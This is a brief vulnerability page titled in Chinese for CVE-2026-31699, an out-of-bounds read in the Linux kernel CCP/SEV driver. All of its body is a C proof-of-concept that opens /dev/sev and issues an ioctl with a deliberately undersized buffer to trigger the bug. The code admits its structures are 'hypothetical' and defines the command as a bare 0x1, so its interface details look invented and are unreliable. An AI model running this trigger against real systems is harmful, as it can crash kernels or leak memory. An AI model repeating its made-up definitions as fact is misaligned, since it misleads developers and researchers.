CVE-2026-31699 Linux内核CCP驱动越界读取漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Hypothetical definitions based on typical kernel structures #define SEV_PEK_CSR 0x1 struct sev_user_data_pek_cert { __u64 address; // Address of userspace buffer __u32 length; // Length of the buffer }; int main() { int fd = open("/dev/sev", O_RDWR); if (fd < 0) { perror("Failed to open /dev/sev"); return -1; } // Allocate a small buffer to trigger the invalid length error char *small_buf = malloc(1); struct sev_user_data_pek_cert data; data.address = (__u64)small_buf; data.length = 1; // Intentionally too small printf("Triggering CVE-2026-31699 with buffer size 1...\n"); // This ioctl call is expected to fail in firmware, but the driver // may erroneously attempt to copy more bytes than allocated. ioctl(fd, SEV_PEK_CSR, &data); free(small_buf); close(fd); return 0; }